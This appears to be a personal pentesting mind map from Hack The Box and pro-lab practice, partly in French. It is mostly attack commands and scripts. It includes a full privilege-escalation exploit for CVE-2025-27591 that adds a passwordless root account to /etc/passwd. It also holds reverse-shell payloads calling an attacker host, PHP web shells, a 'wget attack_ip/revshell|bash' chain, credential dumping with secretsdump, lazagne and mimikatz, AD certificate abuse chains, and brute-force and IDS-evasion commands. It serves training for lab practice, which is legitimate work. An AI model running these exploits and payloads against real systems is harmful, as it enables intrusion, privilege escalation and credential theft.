Cybermap

temp/ a trier

Apps

Roundcube

Config File :

/var/www/html/roundcube/config/config.inc.php

Get info from sql :

mysql -u roundcube -p
USE roundcube;
SELECT sess_id, vars FROM session;

Python script :

from base64 import b64decode
from Crypto.Cipher import DES3
import sys

# Encrypted password (base64 from session)
enc = "L7Rv00A8TuwJAr67kITxxcSgnIk25Am/"
key = b"rcmail-!24ByteDESkey*Str" # from config.inc.php

# Decode base64
raw = b64decode(enc)

iv = raw[:8]
ciphertext = raw[8:]

cipher = DES3.new(key, DES3.MODE_CBC, iv)
decrypted = cipher.decrypt(ciphertext)

# Remove padding (PKCS#7)
pad_len = decrypted[-1]
plaintext = decrypted[:-pad_len].decode('utf-8')

print(f"[+] Decrypted password: {plaintext}")

CVEs

Roundcube 1.5.x < 1.5.10
Roundcube 1.6.x < 1.6.11

CVE-2025-49113 (authenticated) :

php CVE-2025-49113.php URL  user pass 'bash -c "bash -i >& /dev/tcp/ip/port 0>&1"'

Below

Version < 0.9.0

CVE-2025-27591

#!/usr/bin/env python3
import os
import subprocess
import sys
import pty

BINARY = "/usr/bin/below"
LOG_DIR = "/var/log/below"
TARGET_LOG = f"{LOG_DIR}/error_root.log"
TMP_PAYLOAD = "/tmp/attacker"

MALICIOUS_PASSWD_LINE = "attacker::0:0:attacker:/root:/bin/bash\n"

def check_world_writable(path):
  st = os.stat(path)
  return bool(st.st_mode & 0o002)

def is_symlink(path):
  return os.path.islink(path)

def run_cmd(cmd, show_output=True):
  if show_output:
    print(f"[+] Running: {cmd}")
  try:
    return subprocess.check_output(cmd, shell=True, stderr=subprocess.STDOUT, text=True)
  except subprocess.CalledProcessError as e:
    if show_output:
      print(f"[-] Command failed: {e.output}")
    return None

def check_vulnerability():
  print("[*] Checking for CVE-2025-27591 vulnerability...")

  if not os.path.exists(LOG_DIR):
    print(f"[-] Log directory {LOG_DIR} does not exist.")
    return False

  if not check_world_writable(LOG_DIR):
    print(f"[-] {LOG_DIR} is not world-writable.")
    return False
  print(f"[+] {LOG_DIR} is world-writable.")

  if os.path.exists(TARGET_LOG):
    if is_symlink(TARGET_LOG):
      print(f"[+] {TARGET_LOG} is already a symlink. Looks exploitable.")
      return True
    else:
      print(f"[!] {TARGET_LOG} is a regular file. Removing it...")
      os.remove(TARGET_LOG)

  try:
    os.symlink("/etc/passwd", TARGET_LOG)
    print(f"[+] Symlink created: {TARGET_LOG} -> /etc/passwd")
    os.remove(TARGET_LOG)  
    return True
  except Exception as e:
    print(f"[-] Failed to create symlink: {e}")
    return False

def exploit():
  print("[*] Starting exploitation...")

  with open(TMP_PAYLOAD, "w") as f:
    f.write(MALICIOUS_PASSWD_LINE)
  print(f"[+] Wrote malicious passwd line to {TMP_PAYLOAD}")

  if os.path.exists(TARGET_LOG):
    os.remove(TARGET_LOG)
  os.symlink("/etc/passwd", TARGET_LOG)
  print(f"[+] Symlink set: {TARGET_LOG} -> /etc/passwd")

  print("[*] Executing 'below record' as root to trigger logging...")
  try:
    subprocess.run(["sudo", BINARY, "record"], timeout=40)
    print("[+] 'below record' executed.")
  except subprocess.TimeoutExpired:
    print("[-] 'below record' timed out (may still have written to the file).")
  except Exception as e:
    print(f"[-] Failed to execute 'below': {e}")

  print("[*] Appending payload into /etc/passwd via symlink...")
  try:
    with open(TARGET_LOG, "a") as f:
      f.write(MALICIOUS_PASSWD_LINE)
    print("[+] Payload appended successfully.")
  except Exception as e:
    print(f"[-] Failed to append payload: {e}")

  print("[*] Attempting to switch to root shell via 'su attacker'...")
  try:
    pty.spawn(["su", "attacker"])
  except Exception as e:
    print(f"[-] Failed to spawn shell: {e}")
    return False

def main():
  if not check_vulnerability():
    print("[-] Target does not appear vulnerable.")
    sys.exit(1)
  print("[+] Target is vulnerable.")

  if not exploit():
    print("[-] Exploitation failed.")
    sys.exit(1)

if __name__ == "__main__":
  main()

Slack

Exported data maybe ?

~/.config/Slack

Wordpress

Config file

wp-config.php

Reverse

Upload a plugin, edit an existing one etc

<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/ip/port 0>&1'") ?>

Rev

XWIKI

Config files

installPath/xwiki/WEB-INF/hibernate.cfg.xml

IIS

10.0

Find potential sensible files

https://github.com/bitquark/shortscan

go install github.com/bitquark/shortscan/cmd/shortscan@latest

shortscan http://10.13.38.11

Boxes

Made using a variety of hackthebox machines

Pro labs done and integrated into the mindmap :

DANTE

LINUX

Annexes

Docker escape -- TODO

Ping sweep

Ping sweep

1..254 | % { if (Test-Connection -Count 1 -Quiet 172.16.2.$_) { "172.16.2.$_ is up" } }

for /L %i in (1,1,254) do @ping -n 1 -w 35 172.16.2.%i | find "Reply"

for i in {1..254}; do ping -c1 -W1 172.16.2.$i &>/dev/null && echo "172.16.2.$i is up"; done

Ligolo

Chisel

📌 Step 1 – Start chisel on the victim :

./chisel server --reverse --port 9999

9999 is the port used to talk to your host

📌 Step 2 – Start chisel on the host :

chisel client 10.10.11.64:9999 R:8080:127.0.0.1:8080

R: = reverse port forward (we want to access a victim's port)
127.0.0.1:8080 = local port on the victim
8080 = exposed port on the host

For example, using the above you'll be able to access the following link which was supposed to be accessible only on the victim's machine :

http://localhost:8080/login/

Initial testing

Ne pas oublier, même si on trouve un chemin, continuer les commandes et noter les trouvailles importantes pour revenir sur celles-ci une par une !

Interesting files

/home/*
/opt
/srv
/var/mail
/var/www
/var/backup
/var/log
/etc/passwd
/etc/shadow

Interesting files

find / -type f \( -iname "*.db" -o -iname "*.sqlite" -o -iname "*.db3" \) 2>/dev/null

find / -type f \( -iname ".env" -o -iname ".git*" -o -iname "*config*" -o -iname "*secret*" -o -iname "*credential*" -o -iname "*.bak" -o -iname "*.old" -o -iname "*.swp" -o -iname "*history*" -o -iname "*id_rsa*" -o -iname "*.pem" -o -iname "*.key" -o -iname "*.sqlite*" -o -iname "*.db" -o -iname "*.yml" -o -iname "*.json" \) -not -path "/proc/*" -not -path "/sys/*" -not -path "/dev/*" -not -path "/usr/*" -not -path "/lib/*" -not -path "/boot/*" -not -path "/var/log/*" -not -path "/snap/*" -not -path "/run/*" 2>/dev/null

Manual enum

whoami && id && hostname && uname -a && groups && env
sudo -l (L !)
ps aux
ps -ef

Check low hanging fruits

Des exploits classiques mais rarement exploitable

https://github.com/liamg/traitor/releases/download/v0.0.14/traitor-386

./traitor-386

Check running recurrent processes

Start the tool "pspy" for a few minutes to see if anything interesting pops up

docker available ? > Annex : Docker escape

Crontab

crontab -l
ls -la /etc/cron* /var/spool/cron/

Capabilities / suid etc

http[s]://gtfobins.github.io/

getcap -r / 2>/dev/null
find / -perm -4000 -type f 2>/dev/null

Network

ss -tulnp
netstat -antup

If you find interesting ports listening on local ( for exampel a web server ) :
with ssh access ==> ssh -fNL localPORT:127.0.0.1:remotePORT user@ip
w/o ssh access ==> see annex "Chisel"

For pivoting in the network, remember to scan ips on the same network ( in the context of a pro lab for example ) using ping sweep ( check Cybermap to see the commands )

WINDOWS

Post-exploitation

Use lazagne to get hashes, hidden passwords etc

./lazagne.exe

Commandes outils

AD enumeration w/o account

Here are some commands to

try when not given any data

SMB users & shares

nxc smb <ip> -u '' -p ''
nxc smb <ip> -u '' -p ''

Global enum

enum4linux-ng.py -a -u '' -p '' <ip>
ldapsearch -x -H <ip> -s base

Find users based on a list

kerbrute userenum -d <domain> <userlist>

AD enumeration with a user / no password

Bruteforce

nxc smb -u user -p passFile

ASREPROASTING

GetNPUsers.py -dc-ip ip domain -usersfile userFile -format hashcat

AD enumeration with account

Deleted objects

Files

Find files

(New-Object -ComObject Shell.Application).Namespace(0xA).Items() | ForEach-Object { "$($_.Name) - $($_.Path)" }

Restore file

Copy-Item 'C:\$RECYCLE.BIN\S-1-5-21-2386970044-1145388522-2932701813-1103\$RE2XMEG.7z' -Destination 'C:\Users\f.frizzle\Desktop\\wapt-backup-sunday.7z'

Users

List - via LDAPsearch

ldapsearch -H ldap://10.10.11.72 -D 'user' -w 'password' -b "CN=Deleted Objects,DC=CHANGEME,DC=CHANGEME" -E '!1.2.840.113556.1.4.417' "(objectClass=user)" msDS-LastKnownRDN distinguishedName whenChanged

List - via powershell

Get-ADObject -Filter 'ObjectClass -eq "user"' -IncludeDeletedObjects -Properties * | Where-Object { $_.IsDeleted -eq $true } | Select-Object Name, DistinguishedName, ObjectSID

Restore

Restore-ADObject -Identity "*"
* = replace with the full DN ( CN=, DC=) that you got from the list cmd

Services enum

Check a service's ACLs

Upload the following tool on the victim's machine

https://github.com/swinowz/scripts/blob/main/windows/Get-ServiceACL.ps1

powershell.exe -ExecutionPolicy Bypass -File .\Get-ServiceACL.ps1 -Name "serviceName"

Service control (sc.exe) commands

Get a service's config

sc.exe qc "Name"

Start & Stop a service

sc.exe start/stop "Name"

Change a service's config

Set-Service -Name ServiceName -DisplayName "Test"

OR

sc.exe config ServiceName binPath= "C:\path"

Privileges

GetChangesAll exploit

permits dumping hashes for AD accounts

secretsdump.py 'user:pass@ip'

evil-winrm -u 'Administrator' -H 'hash' -i ip

Tools

ldapsearch

List Users & descriptions

ldapsearch -H ldap://IP -D "domain\\user" -w 'password' -b "dc=domain,dc=local" "(objectClass=user)" cn sAMAccountName description

Bloodhound/ .py

Start data gathering

python3 ../BloodHound.py/bloodhound.py -d DOMAIN -dc DOMAIN -ns IP --zip -c All -u "USER" -p "PASSWORD"

DACLedit

List ACEs

dacledit.py domain/"user":'password' -dc-ip ip -target username -principal-sid S-1-5-10

Certipy (>5.0 !)

Install certipy-ad using pipx

Mindmap made under certipy 5.0.2

Using python 3.12>

ESC

Wiki link with all ESCs exploitation methods

https://github.com/ly4k/Certipy/wiki/06-%E2%80%90-Privilege-Escalation#

ESC16

Read attributes :

certipy account -u 'controlledUser@domain' -p 'password' -dc-ip ip -user 'targerUser' read

Change UPN → administrator

certipy account -u 'controlledUser@domain' -p 'password' -dc-ip ip -upn 'administrator' -user 'targetUser' update

Get the ccache + cert req with it

certipy shadow -u 'controlledUser@Domain' -p 'password' -dc-ip 'ip' -account 'targetAccount' auto

export KRB5CCNAME=*.ccache

certipy req -k -dc-ip 'ip' -target 'dc01.xxx.htb' -ca 'xx-DC01-CA' -template 'User'

Reset the UPN

certipy account -u 'controlledUser@domain' -p 'password' -dc-ip ip -upn 'initialUPN' -user 'targetUser' update

Authenticate using the cert

certipy auth -dc-ip 'ip' -pfx 'administrator.pfx' -username 'administrator' -domain 'domain'

Final auth

evil-winrm -u administrator -H hash -i ip
tree /a /f

ESC15

Prerequirements :

Schema version : 1
ENROLLEE_SUPPLIES_SUBJECT : TRUE

0️⃣ Request Get CA infos

C:\Windows\System32\certutil.exe

1️⃣ Request Enrollment Agent cert (one-liner)

certipy req -u 'controlledUser@domain' -p 'password' -dc-ip 'DC_IP' -target 'CA_HOST' -ca 'CA_NAME' -template 'EnrollmentAgentTemplate' -application-policies 'Certificate Request Agent'

2️⃣ Request Administrator cert on-behalf-of (one-liner)

certipy req -u 'controlledUser@domain' -p 'password' -dc-ip 'DC_IP' -target 'CA_HOST' -ca 'CA_NAME' -template 'User' -on-behalf-of 'DOMAIN\\TargetUser' -pfx 'controlledUser.pfx'

3️⃣ Authenticate as Administrator with the cert (one-liner)

certipy auth -pfx 'TargetUser.pfx' -dc-ip 'DC_IP'

KESBEROASTABLE

KESBEROASTABLE

certipy shadow auto -u 'user@domain' -p 'password' -account 'targetUser' -dc-ip 'ip'

FIND

Get vulnerable certs + check potential ESCs vulns

certipy find -u targetUser@domain -hashes :targetNTLMHash -target domain -dc-host dcHost.domain -dc-ip targetIP -vulnerable -stdout

Tips & Tricks

Vulnerable windows server versions

Eternal Blue

Windows server 2012 R2 + SMB v1

msf admin/smb/ms17_010_command

To get a reverse shell, use powershell encoded payload

https://www.revshells.com/

Reverse shell

Do not use pwncat-cs with windows, use rlwrap

rlwrap -cAr nc -lvnp PORT

RDP

rdesktop 192.18.1.21 -u username -p password

You have a shell ? (Winrm/powershell access)

whoami /all 
net localgroup -group-
net user /domain
tree /a /F ( ! in C:\Users ! )

Misc

If you're in a enterprise-type lab or something like that, remember to start a ping sweep to see if the pwned machine has any other accessible networks

Sync time for kerberos attacks

Sync your time&date with the server in order to perform multiple kerberos attacks

First method :

sudo rdate -r IP

Second method :

sudo ntpdate IP

If it doesnt work :

sudo systemctl stop systemd-timesyncd
sudo systemctl disable systemd-timesyncd

To reset the time :

sudo ntpdate -r pool.ntp.org

Things i'm keeping whendoing htb, thm, ptd etc boxes

File operations

ALL - SSH Access

Get a file from remote

scp user@ip:/remotepath localPath

Send a file to remote

scp FileToSend user@ip:remotePath

Using priv key

scp -i SSHkeyFile "user@ip:remotePath" localPath

Force password auth flags

scp -o PreferredAuthentications=password -o PubkeyAuthentication=no "user@ip:remotePath" localPath

WINDOWS - Send files

target (windows)

powershell -Command "Invoke-WebRequest -Uri 'http://ip:port/mimikatz.exe' -OutFile 'mimikatz.exe'"

Invoke-WebRequest -Uri http://10.10.14.10:7777/file -OutFile out

host (linux)

python3 -m http.server port

Pivoting / Tunneling

Network analysis / Find other networks

Basic network analysis

On windows

ipconfig /all
route print
arp -a 
netstat -ano
type C:\WINDOWS\System32\drivers\etc\hosts
ipconfig /displaydns | findstr "Record" | findstr "Name Host"

On linux

ip addr
ip -br a
ip r

Ping sweep

PowerShell :

1..254 | % { if (Test-Connection -Count 1 -Quiet 192.168.0.$_) { "192.168.0.$_ is up" } }

Windows CMD:

for /L %i in (1,1,254) do @ping -n 1 -w 35 192.168.0.%i | find "Reply"

Linux (bash/sh):

for i in {1..254}; do ping -c1 -W1 192.168.0.$i &>/dev/null && echo "192.168.0.$i is up"; done

Tunneling & Port Forwarding

VPN-like -- sshutle

✅ `sshuttle` te donne accès à tout le réseau routable par la cible, sauf :

Ce qui écoute sur 127.0.0.1 (loopback local de la victime)
Ce qui est bloqué par iptables ou firewalld sur la victime

⚠️ Exemple :

tcp 127.0.0.1:8080 → ❌ inaccessible via sshuttle
tcp 0.0.0.0:80     → ✅ accessible via sshuttle
tcp 192.168.1.100:22 (autre machine interne) → ✅ accessible via sshuttle

Donc sshuttle = VPN vers réseau

Mais pas un accès aux services uniquement en localhost sur la machine SSH elle-même.

sshuttle -r username@sshserver 0.0.0.0/0

Exemple serveur web en écoute sur localhost

Sans accès SSH -- chisel

📌 Étape 1 – Lancer le serveur Chisel sur la victime :

Sur la victime (10.10.11.64), upload chisel et lance :

./chisel server --reverse --port 9999

9999 est le port utilisé pour communiquer avec ton hôte

📌 Étape 2 – Depuis ton hôte, lancer le client Chisel :

chisel client 10.10.11.64:9999 R:8080:127.0.0.1:8080

R: = reverse port forward (on veut accéder à un port local de la victime).
127.0.0.1:8080 = port local à la victime.
8080 = port exposé sur ton hôte local.

Sur l'exemple dessus, on peux apres sur l'host se connecter via

http://localhost:8080/login/

Avec un accès SSH

ssh -L 8080:127.0.0.1:8080 tobias@10.10.11.64

Le premier port = local

Le deuxième = distant

ssh -fNL xxx = en background

Verifier ce qui écoute sur localhost

ss -tunlp

netstat -antup

Useful tools

Grep

Find readable text

Change {6,} for min lenght req

strings file| grep -E "[A-Za-z0-9]{6,}"

Context search, search around a text

grep -A 5 -B 5 "StringToFind" file

Find readable text

Change {6,} for min lenght req

grep -E "[A-Za-z0-9]{6,}" file

---------------------------------------------------------------------------------------

Stringcheese

Use stringcheese from Mathis Hammel as a base for rev challenges or things like that, it just tries a lot of operation to find a match

stringcheese --file file CTF{

AWK

SEQ

Generate file with numbers

seq 1000 -1 1 > countdown

SED

Make a list of text + numbers at the end ( ex password1, password2 etc )

seq 1 10 | sed 's/^/Password/'

List a file's content wiithout lines which starts with "#"

sed '/^#/d' FILE

Protocoles divers

SSH

Connect using private key

ssh -i id_rsa user@ip

Send password directly

sshpass -p "password" ssh user@ip

Flags to force password auth

PreferredAuthentications=password -o PubkeyAuthentication=no

SMTP

User enum

pip install smtp-user-enum
smtp-user-enum -U /usr/share/wordlists/metasploit/unix_users.txt 10.150.150.17 25

Bruteforce

hydra -l operator -P wordlist.txt ipip smtp

SMB

Lister les shares

smbclient -L //ip/ -U 'user%password'

Se connecter avec le client sur un share spécifique

smbclient //ip/share -U 'user%password'

Télécharger tout les fichiers

On se connecte au share puis dans le client

PROMPT off
mget *

FTP

Get all files

prompt OFF
mget *

POP3

NFS

rpcinfo IP

sudo umount 10.150.150.59:/nfsroot

sudo mount -t nfs ip:/remote /local

showmount -e IP

Mysql

Connect

mysql -h localhost -u sql_user -p

Dump sql db

mysqldump -u root -p --all-databases > alldb.sql

Restart in safe mode to bypass auth

sudo mysqld_safe --skip-grant-tables --skip-networking &

sudo mysql

MSSQL

Connect

mssqlclient.py sequel.htb/sa:MSSQLP@ssw0rd!@10.10.11.51

Semi-auto

Setup listener then, 

EXEC xp_cmdshell 'powershell -encodedcommand <payload>';

NXC

Check if privesc is possible

nxc mssql ip -u user -p pass --local-auth -M mssql_priv

Execute commands

nxc mssql IP -u use -p 'password' --local-auth -x whoami

Automatic

https://www.netexec.wiki/mssql-protocol/mssql-privesc

DNS

Misc

Find files

Windows

Hidden deleted file

Download file

Copy-Item 'C:\$RECYCLE.BIN\S-1-5-21-2386970044-1145388522-2932701813-1103\$RE2XMEG.7z' -Destination 'C:\Users\f.frizzle\Desktop\\wapt-backup-sunday.7z'

Find file

(New-Object -ComObject Shell.Application).Namespace(0xA).Items() | ForEach-Object { "$($_.Name) - $($_.Path)" }

tree /a /f

@for /r C:\ %i in (FLAG??.txt) do @echo %i && @type "%i"

Linux

Other

grep -r pattern

search in files ( -recursive )

Find

find / -type f -name 'FLAG[0-9][0-9]' 2>/dev/null

find ./* | grep FLAG3

find / $ -name ".env" -o -name ".git" $ 2>/dev/null

find / -type f -name 'FLAG[0-9].txt' 2>/dev/null

Limited Shell

Use vim

:set shell=/bin/bash
:shell

Stegano

searchsploit

searchsploit -m xxxxx

Depixelise

Unredactor

Depix

python3 depix.py -p pixel_image -s images/searchimages/image.png

Stereogram

https://piellardj.github.io/stereogram-solver/

Aperisolve

Steghide

steghide extract -sf screen.jpeg

NMAP

Nmap Automator

nmap -sV -sC -T5 -p- ip

sudo nmap -p- -sS -sV -O --script "safe and not intrusive" -T4 -Pn -oA nmap_fullsafe <cible>

IDS/Firewalls

ncat -nv --source-port 53 10.129.2.28 50000

nmap -sS -Pn -n -p- --disable-arp-ping -D RND:3 --source-port 53 ip

nmap -sSU --script dns-nsid ip

Dumb shell upgrade

script /dev/null -qc /bin/bash

python3 -c 'import pty; pty.spawn("/bin/bash")'

GDB

Installation :

git clone https://github.com/longld/peda.git ~/peda
echo "source ~/peda/peda.py" >> ~/.gdbinit

Need GDB ( obviously )

PCAP Analysis

Tshark - WIFI

List clients connected to an AP

Lists unique destination MACs communicating in data frames

tshark -r FILE -Y "wlan.fc.type == 2" -T fields -e wlan.sa -e wlan.da | grep "MAC" | cut -f2 | sort | uniq

Find beacon frames

Shows AP MAC addresses and advertised SSIDs

tshark -r FILE -Y "wlan.fc.type==0 && wlan.fc.subtype==8" -T fields -e wlan.sa -e wlan.ssid

Find probe requests and decode SSIDs hex

Lists probe request SSIDs, decodes to ASCII, counts occurrences

tshark -r FILE -Y "wlan.fc.type==0 && wlan.fc.subtype==4" -T fields -e wlan.ssid | grep -v "<MISSING>" | sort | uniq -c | awk '{c=$1; $1=""; h=""; for(i=2;i<=NF;i++) h=h $i; gsub(/ /,"",h); cmd="echo " h " | xxd -r -p 2>/dev/null"; cmd | getline d; close(cmd); print h, d, c}' | column -t | sort -k3 -n -r

Identify who's probing the SSIDs found using the cmd above

Shows clients (source MACs) probing specific SSIDs.

tshark -r FILE -Y "wlan.fc.type==0 && wlan.fc.subtype==4" -T fields -e wlan.sa -e wlan.ssid | grep -v "<MISSING>" | grep -E "(SSID1|SSID2|SSID3)"

Types and Subtypes

Management Frames (Type 0):

0 Association Request → Client requests association with AP

1 Association Response → AP responds to association request

2 Reassociation Request → Client requests reassociation to AP

3 Reassociation Response → AP responds to reassociation request

4 Probe Request → Client scans for networks

5 Probe Response → AP replies to probe request

8 Beacon → AP periodically announces network

9 ATIM → Announcement Traffic Indication Message

10 Disassociation → Client/AP ends association

11 Authentication → Client/AP authentication handshake

12 Deauthentication → Client/AP ends authentication

13 Action → Misc management actions

Control Frames (Type 1)

RTS → Request to Send

CTS → Clear to Send

ACK → Acknowledgment

Block ACK → Block acknowledgment

Data Frames (Type 2)

Data → Standard data frame

QoS Data → Data with Quality of Service

Null Function → Empty frame for power save

CF-Ack → Contention-Free acknowledgment

-e flags

wlan.sa → Source MAC address

wlan.da → Destination MAC address

wlan.ssid → Show SSID

Tshark - LDAP

Find DNs (distinguished names)

tshark -r FILE -Y "ldap" -T fields -e ldap.name

Find LDAP creds

tshark -r FILE -Y ldap -T fields -e ldap.name -e ldap.simple

Tshark - HTTP

Get HTTP logins

tshark -r FILE -Y "http.request.method == POST" -T fields -e urlencoded-form.key -e urlencoded-form.value

Tshark - General

Check protocol hierarchy

tshark -r FILE -q -z io,phs

To output specific fields use :

-T fields -e x -e y

( change x & y by actuel fields value )

Hydra

Bruteforce Protocole

hydra -l operator -P wordlist.txt 10.150.150.56 <protocole> exi

Bruteforce FTP

hydra -C /usr/share/wordlists/seclist/Passwords/Default-Credentials/ftp-betterdefaultpasslist.txt -t 4 -f -vV ftp://10.129.85.235

Bruteforce SSH

hydra -L users -P passwords -t 24 ssh://ip:port

Formulaire POST

hydra -L users -P passwords 10.150.150.38 -s 30609 http-post-form "/login/index.php:username=^USER^&password=^PASS^&s_mod=login&s_pg=index:F=Username or Password wrong"

---

hydra -L /usr/share/wordlists/unix_users.txt -p "test:test:test" file.era.htb http-post-form \
                           "/security_login.php:username=^USER^&answer1=test&answer2=test&answer3=test:User not found"

Basic auth

hydra -L users -P /usr/share/wordlists/rockyou.txt http-get://127.0.0.1:8000/ -V -t 64

Paramètres

-s = port

-c = combolist

-f = stop on success

-t = thread

-vV = verbose

WEB

SQLi

SQLMap

Basic enum on a parameter

sqlmap -u "http://xxx/blog/post.php?id=6" -p 'id'

List DBs

sqlmap -u "http://xxx/blog/post.php?id=6" -p 'id' --dbms=mariadb --dbs

List tables from DBs

sqlmap -u "http://xxx/blog/post.php?id=6" -p 'id' --dbms=mariadb -D flag --tables

Misc params

--dbms="" -- specify dbms to skip some tests

-D -- select DB

-T -- select Table

PHP Filters

https://github.com/synacktiv/phpfilterchaingenerator/blob/main/phpfilterchaingenerator.py

python3 php_filter_chain_generator.py --chain '<?= shell_exec($_GET[\'cmd\']) ?>'

http://ip/file.php?page=scriptOutput&cmd=bash%20-c%20%27bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2FIP%2FPORT%200%3E%261%27

Change IP and PORT and scriptOutput ( generated from the py script )

http://ip/file.php?page=scriptOutput&cmd=id

python3 script.py --chain '<?= wget attack_ip/revshell|bash?>'

Wordpress

Bruteforce

wpscan --url url_wordpress --passwords wordlist

Enumerate users

wpscan --url url --enumerate u

Check vuln template & plugins

wpscan --url url --enumerate vp,vt

Generate wordlist from url - cewl

cewl url > wordlist

Enumération/Subdomain

wfuzz

Subdomain enumeration

wfuzz -c -t 100 -z file,<wordlist> --sc 200 -H "Host: FUZZ.planning.htb" http://planning.htb/

ffuf -u http://planning.htb/ -w <wordlist> -H "Host: FUZZ.planning.htb" -mc 200 -t 200 -v

Enum

wfuzz -c -z file,wordlist --follow -H "Cookie: PHPSESSID=ah09c3b0431vss4il8gg4ih2fl" --hh 2985 "http://nocturnal.htb/view.php?username=FUZZ&file=.docx"

Paramètres

-z mode de fuzz

--follow pour suivre les redirects

--hh xx => Ignore les réponses de xx caractères

--sc => filtre par codes ( -sc 200 - affiche que les 200 )

--hc => filtre exclusif ( -hc 404,301,etc )

FFUF ( params / LFI)

Parameter fuzzing :

ffuf -u "url?id=FUZZ" -w wordlist

More params :

Cookies : -b key=value

-b "PHPSESSID=xyz"

Filter size : -fs value

-fs 777

Filter status code : -fc x,y,z

-fc 403,404

FeroxBuster

feroxbuster -u http://example.com -w wordlist -x php,html,txt -v -o output.txt --filter-status 404

feroxbuster -u url -w ~/Desktop/SecLists-master/Discovery/Web-Content/common.txt --filter-status 404

Paramètres

-k = certif autosigné

Gobuster ( USEME )

gobuster vhost -u http://planing.htb -w /usr/share/wordlists/seclist/Discovery/DNS/namelist.txt --append-domain -t 200

gobuster dir -u http://planing.htb -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 200 -k -r

Params :

-k : cert ignore

-r : recursive

Bruteforce Forms

Privesc

Python Library Hijacking

Script runnign as root with bad library import ( ex one that doesnt exist)

Linux

sudo -l

(ALL, !root) /bin/bash

-1 in this context is interpreted as 4294967295 on 32-bit

-1 is treated as root (UID 0)

sudo -u#-1 /bin/bash

------

------

----

(ALL

-1 in thi

"disk" group

Find which disk is used as root

df -h

for example here /dev/sda5

Then use the following command :

debugfs /dev/sda5

When launched, we can execute some commands using debugfs

LXC/LXD

https://book.hacktricks.xyz/linux-hardening/privilege-escalation/interesting-groups-linux-pe/lxd-privilege-escalation

SUID

find / -perm -u=s -type f 2>/dev/null

Symbolic links

ln -s /root /home/michael/importantfiles/rootbackup

searchsploit

searchsploit -m chemin

searchsploit xxxx

linpeas

curl -L https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh | sh

Cybermap

temp/ a trier

Apps

Roundcube

CVEs

Below

Version < 0.9.0

Slack

Wordpress

XWIKI

IIS

10.0

Boxes

LINUX

Annexes

Docker escape -- TODO

Ping sweep

Ligolo

Chisel

📌 Step 1 – Start chisel on the victim :

📌 Step 2 – Start chisel on the host :

Initial testing

WINDOWS

Post-exploitation

Commandes outils

AD enumeration w/o account

AD enumeration with a user / no password

AD enumeration with account

0️⃣ Request Get CA infos

1️⃣ Request Enrollment Agent cert (one-liner)

2️⃣ Request Administrator cert on-behalf-of (one-liner)

3️⃣ Authenticate as Administrator with the cert (one-liner)

Tips & Tricks

Vulnerable windows server versions

Reverse shell

RDP

You have a shell ? (Winrm/powershell access)

Sync time for kerberos attacks

Cybermap

File operations

ALL - SSH Access

WINDOWS - Send files

target (windows)

host (linux)

Pivoting / Tunneling

Network analysis / Find other networks

Tunneling & Port Forwarding

VPN-like -- sshutle

✅ sshuttle te donne accès à tout le réseau routable par la cible, sauf :

⚠️ Exemple :

Exemple serveur web en écoute sur localhost

📌 Étape 1 – Lancer le serveur Chisel sur la victime :

📌 Étape 2 – Depuis ton hôte, lancer le client Chisel :

Verifier ce qui écoute sur localhost

ss -tunlp

netstat -antup

Useful tools

Grep

AWK

SEQ

SED

Protocoles divers

SSH

SMTP

SMB

FTP

POP3

NFS

Mysql

MSSQL

DNS

Misc

Find files

Windows

Linux

Limited Shell

Stegano

searchsploit

Depixelise

Stereogram

✅ `sshuttle` te donne accès à tout le réseau routable par la cible, sauf :